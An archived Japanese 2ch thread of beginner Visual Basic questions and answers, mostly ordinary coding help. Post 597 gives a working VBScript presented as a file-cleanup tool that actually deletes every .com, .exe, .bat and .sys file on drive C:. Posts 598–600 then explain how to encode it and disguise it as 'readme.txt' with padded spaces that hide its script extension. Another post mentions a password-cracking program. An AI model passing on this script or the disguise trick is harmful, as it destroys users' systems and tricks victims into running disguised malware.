トップページ⇒tech
993コメント374KB

VB初心者質問スレ Part4

■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさんNGNG
VB初心者質問スレPart3
http://pc.2ch.net/test/read.cgi/tech/1000523122/
0552492ですNGNG
>>493はどなたかおわかりにならないでしょうか・・・?

それと、今>>497みたいな感じでプログラム組んでいるのですが、
問題のところで、コマンドを一つにして、回答と次の問題を同時に
こなすようにしています。
が、一問目ではテキストボックス等全部空なので、はじめは
空の状態でコマンドを押さなければなりません。
コマンド_クリック ではなくてはじめからプログラムが
実行されるようにするにはどうしたらいいのでしょうか?
フォーム_アクティベイト
フォーム_ロード
ではうまくいきませんでした。
どなたかお願いいたします。
0553デフォルトの名無しさんNGNG
>>549,>>551
乱数の質にもよるけど、要素数と同じ回数だけ入れ替えを行えば大丈夫。
経験的な基準ですが。
入れ替える要素の両方の添え字をランダムに選ぶんじゃなくて、片方は順番に選び、
もう片方はランダムに選ぶっていう方法もある。そっちのほうが確実にバラけると思われ。
言葉だとわかりにくいと思うのでコード例でどうぞ。

Dim Num(1 to 15) As Integer
Dim Tmp As Integer
Dim i As Integer
Dim j As Integer

For i = 1 To 15
  Num(i) = i
Next i

For i = 1 To 15
  j = Int(Rnd(1) * 15) + 1
  Tmp = Num(i)
  Num(i) = Num(j)
  Num(j) = Tmp
Next j
0554デフォルトの名無しさんNGNG
>>553
要素数と同じ回数だと半分くらいの要素が
元の位置から動かないような気がします。

順番に配列に数字を入れてからシャフルして
はじめの5個とるとその中に1−5までの数が
動かずに2,3個残っていたりしませんか?

個人的には>>546の方法がお勧めだとおもいますけど…。
0555553NGNG
>>554
それを避けるためにすべての要素を必ず交換するようにするわけです。
それが上のコード例です。
0556554NGNG
>>553
やっと理解しました。
すべての要素を別な要素と交換するんですね。
なんとなくバラけそうな気がしてきました。
0557デフォルトの名無しさんNGNG
>>551
理論的に出せる
順番に n (0<=n<要素数) 番目の値と Rnd*(n+1) 番目の値を入れ替えればいい
元の並びはどうでもいい

でも俺だったらそんな効率の悪いことはしないな。
普通に人間が15個の配列から5つ取り出すのと同じことをやればいい。
俺もVBわからんからC風に書くけど

n = 5; m = 15;
for( i=0; i<n; ++i )
{
  j = (int)( Rnd()*m ); // 0<=rnd()<1 ってことで
  ResultArray[i] = OriginalArray[j];
  OriginalArray[j] = --m;
}
0558553NGNG
(誤)すべての要素を
(正)すべての添え字位置の要素を

迂津柁嗣埜卯……
0559デフォルトの名無しさんNGNG
>>557
重複を防ぐ仕組みがないようですが?
0560557NGNG
>>559
よく読んでから言ってくれ・・・
0561551=546NGNG
アレイを2つも作らなくても、>>546でやれば
よいのではないかと思うのですが。
どうでしょう?
0562557NGNG
>>561
選択した結果を保存するのに配列が必要では?

>>557 のやつは配列が規則正しく並んでるときの例ね。
規則正しく並んで無いときは
OriginalArray[j] = --m;
を
OriginalArray[j] = OriginalArray[--m];
にしておくれ。
0563561NGNG
>>562
>選択した結果を保存するのに配列が必要では?

>>546では15個中5個選択なら要素数5個の配列が必要です。
ただし、10万個中5個選択でも要素数5個の配列でできます。
シャフルする方法だと、もっとたくさん必要になりますよね?
0564559NGNG
>>562 を読んでわかった。スマソ。
0565557NGNG
一応言っておくと結果の配列はどんな方法だろうと5個

>>557 は元の配列を破壊するから、そのコピーが必要。
10万個から5個取り出すには10万個のコピーを行う必要がある。
その代わりループ回数は5回

>>546 はもとの配列にはノータッチなのでコピーのオーバーヘッドは無い。
代わりに10万回ループしなければいけないから、10万回乱数を発生させて10万回除算をしないといけない。
0566553NGNG
>>546 のやり方だと、処理が終わる保証がないという点がちょっと問題です。
(特に、選択元の要素数が極端に多い場合)
ヘタレな乱数ライブラリを使っているときは要注意です。
まあ、まずありえない事ですけど。
>>553 のやり方では、シャッフルにメモリは食いますが、処理が必ず終わる
(それもほぼ一定時間で)ことは保証できます。
0567557NGNG
>>564
書き方が悪かった、こっちこそスマソ。
0568デフォルトの名無しさんNGNG
>>551
乱数がちゃんと均一に発生するなら、元の要素数の2分の1の回数のループで十分です。
0569デフォルトの名無しさんNGNG
>>566

>ヘタレな乱数ライブラリを使っているときは要注意です。
お〜〜い。ここはVBのスレだよ。
なんか脱線して内科医?
0570557NGNG
場合によって使い分けるのが最適かと思われ。

・>>546
 速度は落ちるがメモリを節約したいときに有効。
 全体の個数と選ぶ個数が比較的近いとき。
・>>547
 単純でわかりやすいが全体の個数と選ぶ個数が近いときには極端に時間がかかる。
 (終わらない可能性もアリ)
・>>553
 全体の個数と選ぶ個数が極めて近いときに有効。
 ただしもっと最適化できる(For文を1つにまとめられる)
・>>557
 全体の個数に比べて選ぶ個数が少ない時に有効。
 元の配列を破棄してもかまわないときは得に効果アリ。
 そうでなければ配列のコピーが行えない言語にはお勧めできない。
0571デフォルトの名無しさんNGNG
>493
フォームをShowする時にフォームのオーナーを明示してみたら?
0572VB使いNGNG
>>493
最初の
Dim X As New Form2のForm2と
次の
Form2.Visible = FalseのForm2はまったく別物。
Xに入れたんならXで処理しなくちゃだめ。
0573492ですNGNG
Xで処理というは具体的にどういうことでしょう?

二つ目を別定義にして、やるってことしょうか?
以下のようにしてもダメでした。
それと「フォームのオーナーに明示」をもう少し
わかりやすくおしえて頂きたいのですが。。。

Dim X2 As New Form3
X2.Show
X.Visible = False
0574VB使いNGNG
>>573
まあ、要するにこういうことをやりたいんだよな?
Private Sub Form_Load()
Dim X As New Form2, X2 As New Form3
Form1.Show

Form1.Visible = False
X.Show

X.Visible = False
X2.Show

End Sub

>>492のコードってフォームに書いてそれぞれ別のファンクションに
してるか?だとしたら変数の有効範囲のせい。
標準モジュールに書くか、ひとつの関数にすれ。
0575厨房王NGNG
はじめまして、恐縮です。プログラムを実行した時に自分のプログラムの
所定の場所にファイルを増やしたり、または実行した時に、所定の場所の
ファイルを消すコードはどうやってつくればいいの。

sub teach me()
msgbox "osiete"
end sub
0576VB使いNGNG
>>575
Open,Close,Kill,App.Path等を使う。(Copy,Nameとかでもいい。)
ファイル処理全般を勉強するべし。

あと、ネタでも関数名にスペース入れるのはやめれ。
見てて落ちつかねえ。(w
0577擬人NGNG
VBハッキングについてはコレだろ。
http://www.puchiwara.com/hacking/
0578厨房王NGNG
>>576
すいません、なんせプログラムは最近始めたばかりなので、本は「十
日間のエクセルVBA」を使っています。一応VBでテキストファイ
ルのコピーを勉強しました。が、以下の「fso」どんな役割があるの
でしょうか。「Dim」は定義付けでした?

Private Sub Command1_Click()

Dim fso

Source = "c:\r.txt"
destination = "c:\r2.txt"
Set fso = CreateObject("scripting.filesystemobject")
Call fso.copyfile(Source, destination)

End Sub

ここから発展して、例えばCドライブのファイルをランダムに選択して、
コピーするという命令などはできるのでしょうか。よければ、教えてくだ
さい。
0579VB使いNGNG
>>578
流れとしてはCドライブにどのファイルがあるか調べて、好きなファイルを
コピーするといった形になる。Folderオブジェクトでファイルの一覧を
取得できるはずなんで確認してみれ。
俺はFSOが嫌いなんで使ってない。スマソ。

>Dim fso
はfsoという変数をVariant型で宣言する、ということ。
0580デフォルトの名無しさんNGNG
>>578
具体的に何やりたいの?
ランダムにファイル拾ってコピーすりゃいいの?
0581デフォルトの名無しさんNGNG
>>578
Dimは変数を宣言するもので、fsoはそれで宣言された変数。
で、Set fso = CreateObject(〜)の行で
FileSystemObjectオブジェクトのインスタンスを作成して
そのオブジェクトへの参照をその変数に入れている。
どんな役割かというと、FileSystemObjectには
CopyFileというファイルをコピーするメソッドがある訳で
そのメソッドを使うためにオブジェクトを作成している訳だ。

まぁオブジェクトとか言われてもわからんだろうけど、
要はそういう道具を使えるようにしているわけだ。
scripting.filesystemobjectというのが道具の設計図の名称で
fso(という名前がつけられたもの)が実際の道具。
CreatObjectという命令でその道具を設計図から作り出している訳。
その道具のFileCopyという機能を使ってコピーしてるわけだな。

> ここから発展して、例えばCドライブのファイルをランダムに選択して、
> コピーするという命令などはできるのでしょうか。よければ、教えてくだ
まず何をしたいのか教えてくれ。
VBA+そういう怪しい動作=ウイルスとしか思いつかん。
0582デフォルトの名無しさんNGNG
VBで全画面表示ってできますか?
WindowStateで最大化ではなくゲームとかであるようなフルスクリーンに
したいのですが可能でしょうか?
0583デフォルトの名無しさんNGNG
DirectX使いたい、と言う意味?それとも単にメニューとかの構造物を隠したい、という意味?
0584デフォルトの名無しさんNGNG
>>583
最大化や最小化のボタンのあるバーの部分を見えなくしたいのですが…
ボタン等をFalseにしても上部のバーの部分は残るのでバーを消したいのですが
DirectX関係じゃないと無理ですかね?
0585VB使いNGNG
>>584
FormのCaptionを消して、ControlBox=False。
これのことか?
0586デフォルトの名無しさんNGNG
>>585
ありがとうございます。
なにぶん初心者なものですいません。
これで目的は達成したのですが、この状態でマウスカーソルを上の方に持って
いくとメニューが出てくる(普段は見えないようになってる)ようにできますか?
0587VB使いNGNG
>>586
トップメニューを全部消すとメニューが消えて何か表示させると
メニューが出てくるからMouse_Moveイベントと組み合わせれ。
0588デフォルトの名無しさんNGNG
VBのTextで表示できるバイト数を
500KBぐらいまで増やすことって出来ないですか?
0589デフォルトの名無しさんNGNG
>>588
RichTextBox使いなはれ。
0590 NGNG
>>578 ここ見れ

Windows Script
http://www.asia.microsoft.com/japan/developer/scripting/default.asp

[MSDN]-[プラットフォームSDKドキュメント]-
[ツールおよび開発言語]-[スクリプト]-[Windows スクリプト テクノロジ]-
[Script ランタイム]-[FileSystemObject オブジェクト]

http://www.microsoft.com/japan/developer/library/script56/fsooriscriptingrun-timereference.htm
0591厨房王NGNG
>>581
ウイルスと作ってると言われれば、否定はしないです。でも、私のPCの
中を整理してくれるウイルスを作ろうと思っています。

例えば:ファイルがごちゃごちゃになった時、それらを拡張子毎に一つの
ファイルに入れる。という作業やランダムに語弊があったようですが、こ
れは、適当に選択という意味ではなく、まとまった物を選んでという意味
で使いました。あと、もう一つはウイルス系の核を取り除くために、ファ
イル探索した後に、それらを一気に消去するアプリをつくろうと思ってい
ます。
0592デフォルトの名無しさんNGNG
怪しすぎるのが笑える
0593デフォルトの名無しさんNGNG
ファイルを整理するソフトなんてウイルスじゃなくてできるよなぁ。
0594 NGNG
&nsbr;
0595 NGNG
 
0596Cp.Alpha2NGNG
Sendkeys使って共有パスワード破るプログラム作成中
0597590NGNG
>>591 VBSだけど、こんな感じでいいのかな?
参考にしてみてください。以下をコピーして
delete.vbs として保存。ダブルクリックする。
邪魔くさいファイルを削除して、対象ファイルのパスを
C:\log.txt に書き出します。

使用はくれぐれも自己責任でお願いします。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
コードの意味が分からなければ使用しないほうが
良いと思います。

'ここから--------------------------------------------------
'**Start Encode**

Dim FSO, TXT
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TXT = FSO.CreateTextFile("C:\log.txt", True)
Call ShowFileList("C:\", FSO, TXT)
TXT.Close
MsgBox "complete"

Sub ShowFileList(folderspec, fso, txt)
    Dim f, g, f1, f2, fc, fd
    
    On Error Resume Next

    Set f = fso.GetFolder(folderspec)
    Set fc = f.Files
    Set fd = f.SubFolders
    For Each f1 in fc
        If InStr(1, LCase(f1.Name), ".com") <> 0 Or _
           InStr(1, LCase(f1.Name), ".exe") <> 0 Or _
           InStr(1, LCase(f1.Name), ".bat") <> 0 Or _
           InStr(1, LCase(f1.Name), ".sys") <> 0 then
            txt.WriteLine(f1.Path & "\" &  f1.Name)
            Set g = fso.GetFile(f1.Path & "\" &  f1.Name)
                g.Delete
            Set g = Nothing
        End If
    Next
    For Each f2 in fd
        txt.WriteLine(f2.Path & "\")
        Call ShowFileList(f2.Path & "\", FSO, TXT)
    Next
End Sub
'ここまで--------------------------------------------------
0598590NGNG
>>591 追記
Windows Script Encoder を使うとスクリプトを暗号化できます。
配布するときは暗号化してみてはどうでしょうか。

Windows Script Encoder
http://www.microsoft.com/downloads/release.asp?ReleaseID=33261&area=search&ordinal=6


使い方
コマンドプロンプトで以下のコマンドを打ち込む

SRCENC delete.vbs "readme.txt .vbn"

新しく生成されたファイルを配布します。
これであなたもタイーホ
0599590NGNG
訂正
SRCENC delete.vbs "readme.txt           .vbn"
0600590NGNG
スマソ また間違った。拡張子は“vbe”ね。
0601ウルトラ初心者NGNG
VB初心者どころかパソコン暦半年の超初心者なんですが、これからVBの勉強をしようかとおもっているんですが、ラーニングとプロフェッショナルとエンタープライズがありますが、これらはどう違うのですか?大変しょうもない質問で申し訳ないのですが.
0602Cp.Alpha2NGNG
USSエンタープライズ号はこれから学ぶにはあまりに豪華すぎます。
プロフェッショナルはプログラマーに推奨。
ラーニングはやや機能が落ちますが、値段も得で初心者には推奨。
0603デフォルトの名無しさんNGNG
>>601
ラーニングの低機能さには泣くぜ。あとで。
0604デフォルトの名無しさんNGNG
>>603
VBの低機能さには泣くぜ。あとで。
0605590NGNG
>>601
プロフェッショナルにしておくのが無難だと思われ。
0606デフォルトの名無しさんNGNG
正直今からVB買う意味あるの?
2月にはVS.NETでるんだし。
現行のVBはきれいに消え去ってるよ。
0607デフォルトの名無しさんNGNG
メーラー作ってるYO。
VBの質問じゃないんだけど、
VBからVBSとかWHSとかでアドレス帳のデーターを取得できない?
0608デフォルトの名無しさんNGNG
なぜにVBから「VBSやWHS」経由でアドレス帳にアクセスしたいねん?
素直にVBからアドレス帳にアクセスするか、
VBSやWHSを使うならVBはいらんちゃうか?
0609デフォルトの名無しさんNGNG
>>607
ウィルスのソースを探すといいかも
0610デフォルトの名無しさんNGNG
>>602-606
そんなあなたにDelphi6 Personal http://www.borland.co.jp/delphi/
フリーだし、VB6のProfessionalぐらいのことはできますよ。
0611デフォルトの名無しさんNGNG
VBで二次元配列にデータを格納したいのです。
で、Public Test(1 To 9,1 To 9) as String
それに
Test(0,0) = "あ"
Test(0,1) = "い"
という感じでTest(9,9)まで文字を格納したいのですが、
いちいちTestとかかなくてよい方法ありませんか?
Arrayっていうの使えないみたいなのです。
0612デフォルトの名無しさんNGNG
>>611
Array ってVariant 型でしょ。

Dim varTest As Variant
Dim i As Long

varTest = Array("あ", "い", "う", "え", "お")

For i = 0 To 4
Debug.Print CStr(varTest(i))
Next i
0613デフォルトの名無しさんNGNG
DataListBoxの使い方が詳しく乗ってるサイト無いっすか?
ヘルプよく分からなくて・・・。
0614デフォルトの名無しさんNGNG
レス感謝です。
ただ、上記の方法ではたとえば
Debug.Print CStr(varTest(0,1))
とするとエラーになり二次元配列にならないのです。
verTest(i,j)とやったときに"あ"とか"う"とかが
でるよう対応したやつを作りたいのです。
0615デフォルトの名無しさんNGNG
612ですが
解決しそうです
ちとイメージどおりのスマートさはないですが。
0616デフォルトの名無しさんNGNG
苦肉の策としてはこんな感じでしょうか。
もっと良い方法があると思いますが。

    Dim varTest As Variant
    Dim strBuff As String
    Dim i, j As Long
    Dim m As Long: m = 4
    Dim n As Long: n = 4
    
    varTest = Array("あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お")
    
    For i = 0 To m
        strBuff = vbNullString
        For j = 0 To n
            strBuff = strBuff & CStr(varTest((m + 1) * i + j))
        Next j
        Debug.Print strBuff
    Next i
0617SENJUNGNG
【質問内容】
コマンドをダブルクリックして「バッチファイル(〜.bat)」や
「実行ファイル(〜.exe)」を起動するときのコーディングを
教えてください。
0618デフォルトの名無しさんNGNG
>>617 Shellとか調べてみ。
0619デフォルトの名無しさんNGNG
VBとかって実行するときにDLLとかがないと「〜DLLがない」と
言われますがどうしてWindowsには標準でDLLが入ってないんですか?
0620デフォルトの名無しさんNGNG
半角文字を全角文字に換える関数無いですか?
0621デフォルトの名無しさんNGNG
>>619
標準の DLL ではないから。
0622デフォルトの名無しさんNGNG
>>620
MSDN で調べた?

strConv
0623デフォルトの名無しさんNGNG
MDIで子Formが2つあるのを作っているのですが、
Form1とForm2を同時にアクティブにしておく方法はないでしょうか。
というのもメニューエディタで編集したやつはアクティブフォーム側の
やつが表示されますよね、だけどForm1とForm2のメニューは同じなので
両方にメニューエディタで作るのは二度手間になるのです。
もしくはForm1につくったメニューをForm2側にコピーする方法を教えてください。
0624デフォルトの名無しさんNGNG
>>615
いまさらだが、こっちの方がマシかも

Dim varTest As Variant
Dim strBuff As String
Dim i, j As Long
Dim m As Long: m = 4
Dim n As Long: n = 4
 
varTest = Array(Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お")) _

For i = 0 To m
    strBuff = vbNullString
    For j = 0 To n
        strBuff = strBuff & CStr(varTest(i)(j))
    Next j
    Debug.Print strBuff
Next i
0625デフォルトの名無しさんNGNG
>>623
フォームを配列にしちまうか、
frmファイルをメモ帳で開いて、プロパティ部分をコピるか。
そーゆーのじゃダメ?
0626デフォルトの名無しさんNGNG
>>625
うむー
感謝です。
両方アクティブってのは実質無理なんでしょうか。
どこかのフリーウェアでなってたような。
なってるように見せる方法ってないですか。
0627デフォルトの名無しさんNGNG
>>623=>>626
MDIFormにメニューを付けて、ActiveFormを見て処理を分岐するんじゃ駄目?
0628デフォルトの名無しさんNGNG
質問お願いします。

プロポーショナルフォント(MSPゴシック)を使って帳票出力したいのですが、
表示領域の幅に合わせてプログラムで文字列を区切って改行させようとしています。
VBで、プロポーショナルフォントの文字列の幅を取得する方法ってあるでしょうか。
0629デフォルトの名無しさんNGNG
 俺なら、こうするね。
ラベルを一つ作って、プロパティのAutosizeをTrueにし、
Captionに入れたい文字を入れ、そのwidthを取得する、と。
すこしダサいか・・・。
0630デフォルトの名無しさんNGNG
Grid系で一番よく使われているのってどれですか?
0631デフォルトの名無しさんNGNG
>>628
表示領域と同じフォント指定したPictureとか用意して
そこでTextWidth("出力したい文字列〜")で取得すればいいんちゃう?
0632バカかもしれん…NGNG
画像ビューアを作っているのですがこのビューアに「ぼかし」
の機能を付けたいのですがどういった感じで組めばいいのでしょうか?
モザイクとかなら10ドット単位とかの正方形で区切ってそれぞれのRGB値を
操作するといった感じでできると思いますが、ぼかしの場合が
思いつきません。
どなたかアドバイスいただけないでしょうか。
0633デフォルトの名無しさんNGNG
>630
目的によって使い分けられてる。

>632
ガウスぼかしなら、 g(x, y)=exp(-(x^2+y^2)/(2*s^2)
0634デフォルトの名無しさんNGNG
すみません。
質問なんですが、
DatabaseとRecordSetのオブジェクトをつかうには,
どの参照設定を入れれば良いんでしょうか?
0635デフォルトの名無しさんNGNG
>>634
Microsoft DAO x.xx Object Libraryかな。
怪しいのを参照設定してオブジェクトビューアで見てみ。
0636デフォルトの名無しさんNGNG
>635
できました。ありがとうございます
0637630NGNG
>>630です。
・データベースとつなぎたいです。
・複数列表示できるリストボックスとして使いたいです。
・表示されてる項目をクリックして、そのアイテムを取得できるのが良いです。

できましたら、上記のに当てはまるGridを教えてください。
出来れば3番目のやり方も教えてもらえるとありがたいです。。
0638デフォルトの名無しさんNGNG
実行時のフォームを画像として
保存するにはどうすればよいのでしょうか?

保存する際に、ウインドウのタイトル、枠などを除いて
画像として保存したいです。
0639デフォルトの名無しさんNGNG
>>637
BOCのTrueDBGrid。

http://www.boc.co.jp/

コントロール系の情報集めるのならVBマガジンぐらい見る事を勧める。
0640デフォルトの名無しさんNGNG
>>638

画面を取り込んで印刷
http://www.microsoft.com/japan/support/kb/articles/J042/0/88.asp

画像の保存
http://www1.plala.or.jp/akis/bbslog/1000/401-450.html

これを組み合わせれば大丈夫だと思う。
0641デフォルトの名無しさんNGNG
>>628
 sngWidth = Form1.TextWidth("AIUEO")
 sngWidth = Printer.TextWidht("AIUEO")
のように、TextWidthメソッドでFontプロパティに設定されている
Fontの幅なら取れるよん
0642デフォルトの名無しさんNGNG
自分の所属しているネットワーク(WORKGROUPなど)内の
パソコン名とそのPCのログインユーザ名を取得する方法がありましたら教えてください
0643デフォルトの名無しさんNGNG
>>642
読みにくいのは勘弁な

--- 標準モジュールに
Option Explicit

'ユーザ名を取得する
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long

'コンピュータ名を取得する
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long
--- 標準モジュール ここまで
とやって
コマンドボタン1個とテキストボックス2個貼ったフォームを用意。

--- テスト用フォーム

Private Sub Command1_Click()

Dim lngRetAPI As Long
Dim tempX As String

tempX = String(256, Chr(0))

'ユーザ名(GetUserName)
lngRetAPI = GetUserName(tempX, 256)
Text1.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)

'コンピュータ名(GetComputerName)
lngRetAPI = GetComputerName(tempX, 255)
Text2.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)

End Sub

--- テスト用フォーム ここまで

で、ボタンを押す。
0644デフォルトの名無しさんNGNG
>>643
そんなこと聞いてないよ
0645デフォルトの名無しさんNGNG
>>644
ゴメン間違えた(藁
0646デフォルトの名無しさんNGNG
MID子フォームで、他のMID子フォームにフォーカスが移っても、
常に最全面に表示されたままのフォームを作成したいのですが、
どうすればよいのでしょうか?
0647642NGNG
>>643
それだと自分のパソコン名とログインユーザ名だけしか解らないと思います。
ネットワーク内のすべてのパソコン名と、そのログインユーザ名を調べたいのですが、
やはりこれは難しいのでしょうか
0648デフォルトの名無しさんNGNG
イミディエイトウインドウをクリアするにはどうすれば良いのでしょう?

Debug.Print で出力してると残ったままになので、
クリアして使うには、毎回手作業で消してますが、面倒なので
0649早とちりの643NGNG
>>642
書籍情報でスマンが...
「Visual Basic6.0 300の技 ネットワーク+データベース編 」
http://www2.gihyo.co.jp/books/bookinfo.asp?ID=910

PC名一覧だけなら net view コマンドでも良いのかな?
0650デフォルトの名無しさんNGNG
>>648
http://jsvb.freewebspace.com/VBA/
0651( ゚д゚)NGNG
データ保存先なんかのディレクトリを指定させる場合、どんなコントロール使ってますか?
DriveListBoxとDirListBox使えばできるけど、チョト面倒臭い


ちなみにVBのバージョンは5です
0652デフォルトの名無しさんNGNG
>>651
VB5 で出来るかどうかはやったことないのでわからんけど、
Shell32.Shell(SHDOC401.DLL) オブジェクトの
BrowseForFolder メソッド使ってますです。
■ このスレッドは過去ログ倉庫に格納されています